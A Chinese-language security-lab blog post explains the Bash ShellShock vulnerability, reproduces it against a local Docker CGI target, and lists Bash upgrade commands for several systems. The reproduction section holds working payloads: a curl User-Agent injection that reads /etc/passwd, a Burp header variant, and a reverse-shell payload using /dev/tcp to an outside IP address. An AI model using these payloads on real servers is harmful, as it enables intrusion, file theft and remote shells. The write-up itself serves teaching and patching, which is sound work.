詳解ShellShock 漏洞復現原理,內附ShellShock的修復方法
ShellShock漏洞出現時間很早,相信很多人也對ShellShock漏洞有很多的認識了。最近又看學習了下ShellShock漏洞,自己也有一些心得想要分享。
下面我將從4個方面來分享下ShellShock
第一:什麼是ShellShock漏洞
第二:漏洞原理分析
第三:漏洞復現
第四:ShellShock的修復方法
0x00 什麼是ShellShock漏洞
Shellshock的原理是利用了Bash在匯入環境變數函式時候的漏洞,啟動Bash的時候,它不但會匯入這個函式,而且也會把函式定義後面的命令執行。
在有些CGI指令碼的設計中,資料是通過環境變數來傳遞的,這樣就給了資料提供者利用Shellshock漏洞的機會。
簡單來說就是由於伺服器的cgi指令碼呼叫了bash命令,由於bash版本過低,攻擊者把有害資料寫入環境變數,傳到伺服器端,觸發伺服器執行Bash指令碼,完成攻擊。
0x01 預備知識
以root許可權安裝4.1版本的bash
下載連結:bash4.1
下載:
wget http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz
安裝:
$ tar xf bash-4.1.tar.gz
$ cd bash-4.1
$ ./configure
$ make & make install
安裝完成
檢視bash版本號
$bash -version
漏洞資訊最早來源於國外知名漏洞網站exploit-db下的第34765篇漏洞報告,其中出現了一條驗證命令:
env x='() { :;}; echo vulnerable' bash -c "echo this is a test "
如果在一個含有版本號小於bash 4.3的linux或者unix系統,本地執行以上命令,可能會得到以下輸出:
Vulnerable this is a test
其中如果出現第一行vulnerable則說明該系統存在一個由bash程式缺陷導致的任意命令執行漏洞。
本地執行結果如下:
輸出vulnerable的話,說明bash有漏洞。
0x02漏洞原理分析
瞭解bash自定義函式,只需要函式名就能夠呼叫該函式。
funtion ShellShock {
echo "Injection"
}
ShellShock #呼叫這個函式
這個時候的Bash的環境變數:
KEY = ShellShock
VALUE = () { echo Injection; }
來看看ShellShock漏洞的真身:
export ShellShock='() { :; }; echo;/usr/bin/whoami'
bash
>Kr0iNg
為什麼呼叫bash的時候輸出Injection了呢,看看它內部情況:
KEY = ShellShock
VALUE = () { :; }; echo;/usr/bin/whoami
bash讀取了環境變數,在定義ShellShock之後直接呼叫了後面的bash命令。
一旦呼叫bash,自定義的語句就直接觸發。
正常執行過程
我們先來看一下這個漏洞形成的原因。這個問題的發生是因為Bash的一個功能,它允許在Bash的shell中使用環境變數來定義函式。
函式的作用是把經常呼叫的程式碼封裝起來,然後在其他地方呼叫,所有的大多數指令碼語言都有這個功能。
Bash中函式的定義是這樣的:
function ShellShock{
echo hello
}
hello #呼叫這個函式
但是,Bash還有一種使用環境變數來定義函式的方法,這是它的特性。
如果環境變數的值以字元"() {"開頭,那麼這個變數就會被當作是一個匯入函式的定義(Export),這種定義只有在shell啟動的時候才生效。
➜ ~ export ShellShock="() { echo Hello ShellShock; }"
➜ ~ ShellShock
bash:ShellShock: command not found
➜ ~ bash
bash-4.1$ ShellShock
Hello ShellShock
bash-4.1$
利用存在漏洞版本的bash用export引入觸發ShellShock來執行程式碼測試。
這段的意思就是引入ShellShock這個函式(函式名可任意)
export ShellShock="() { echo This is ShellShock; }
分號作為分隔 來執行系統命令
;echo;/usr/bin/whoami
0x03漏洞復現
我用docker在本地pull了一份存在Shellshock漏洞的程式進行測試。
docker搭建、安裝教程docker安裝教程
docker run -d -p 8000:80 -v /Users/Kr0iNg/Desktop/路徑 漏洞映象名稱:latest
將它的埠轉發到本機進行訪問。
訪問127.0.0.1:8000
進行Shellshock漏洞測試,使用工具curl。
測試命令:
curl -A "() { echo ShellShock; }; echo; /bin/cat /etc/passwd" http://127.0.0.1:8000/cgi-bin/vulnerable
使用curl -A 或者 -H 引數模擬Http頭命令,並呼叫“cat /etc/passwd”讀passwd檔案,傳送到存在Bash漏洞的docker容器,成功讀取到了passwd檔案內容。
我本地測試截圖:
用Burpsuite來進行測試。
修改http協議中的User-Agent欄位為:
() { :; };echo;/bin/cat /etc/passwd
成功讀取passwd檔案。
傳送http請求進行測試反彈shell。
伺服器開啟監聽:
模擬瀏覽器頭:
User-Agent: () { :; };echo;/bin/bash -i >& /dev/tcp/47.92.80.16/1234 0>&1
反彈成功,可以檢視使用者名稱,目錄,系統版本等資訊。
0x04ShellShock的修復方法
現在可以按照下面方式進行Bash的升級修復:
作業系統 升級方式
Ubuntu/Debian apt-get update
apt-get install bash
RedHat/CentOS/Fedora yum update -y bash
Arch Linux pacman -Syu
OS X brew update
brew install bash
sudo sh -c 'echo "/usr/local/bin/bash" >> /etc/shells'
chsh -s /usr/local/bin/bash
sudo mv /bin/bash /bin/bash-backup
sudo ln -s /usr/local/bin/bash /bin/bash
MacPorts sudo port self update
sudo port upgrade bash
以上為懸鏡安全實驗室原創文章,如需轉載請標註:http://www.x-mirror.cn/
懸鏡安全實驗室
懸鏡安全實驗室作為安普諾核心的網路攻防研究團隊,主要負責前言安全技術研究和為企業客戶提供專業的安全保障及安全諮詢等服務,主要包括:基於深度學習的WEB威脅檢測引擎研究、惡意樣本分析、APT模擬攻擊測試、高階滲透測試、主機安全巡檢、安全事件應急響應、伺服器防黑加固及安卓App風險評估等。
相關文章
- Shellshock漏洞回顧與分析測試
- 熱修復(一)原理與實現詳解
- phpStudy poc漏洞復現以及漏洞修復辦法PHP
- struts2架構網站漏洞修復詳情與利用漏洞修復方案架構網站
- PrestaShop網站漏洞修復如何修復REST網站
- thinkcmf 網站最新漏洞修復方法網站
- 程式碼注入漏洞以及修復方法
- 網站漏洞修復之圖片驗證碼的詳細修復方案網站
- 怎麼修復網站漏洞騎士cms的漏洞修復方案網站
- 框架網站漏洞修復防護方法框架網站
- WordPress網站漏洞利用及漏洞修復解決方案網站
- 網站漏洞修復 上傳webshell漏洞修補網站Webshell
- apache網站漏洞修復解決辦法Apache網站
- 修復SQL隱碼攻擊漏洞 兩種方法SQL
- Android熱修復原理(一)熱修復框架對比和程式碼修復Android框架
- 網站漏洞測試php程式碼修復詳情網站PHP
- 如何修復AppScan漏洞APP
- Apache漏洞復現Apache
- 你值得知道的Android 熱修復,以及熱修復原理Android
- Android熱修復原理Android
- 網站程式碼漏洞審計挖掘與修復方法網站
- DVWA中學習PHP常見漏洞及修復方法PHP
- Linuxglibc幽靈漏洞測試與修復方法Linux
- 熱修復——深入淺出原理與實現
- 沒有修復不了漏洞,只有修不成的工具人!
- 【Android 熱修復】美團Robust熱修復框架原理解析Android框架
- win10正式版漏洞怎麼修復_win10系統漏洞解決方法Win10
- 修復weblogic的JAVA反序列化漏洞的多種方法WebJava
- weblogic T3 漏洞修復Web
- WordPress 5.1.1 釋出 修復 CSRF 漏洞
- 雲伺服器修復apache漏洞伺服器Apache
- 微信小程式漏洞怎麼修復微信小程式
- 任意檔案上傳漏洞修復
- Linux常見漏洞修復教程!Linux
- SQL Server的MDF檔案恢復/修復方法SQLServer
- weblogic 漏洞復現Web
- 笑臉漏洞復現
- TomcatAJP檔案包含漏洞及線上修復漏洞Tomcat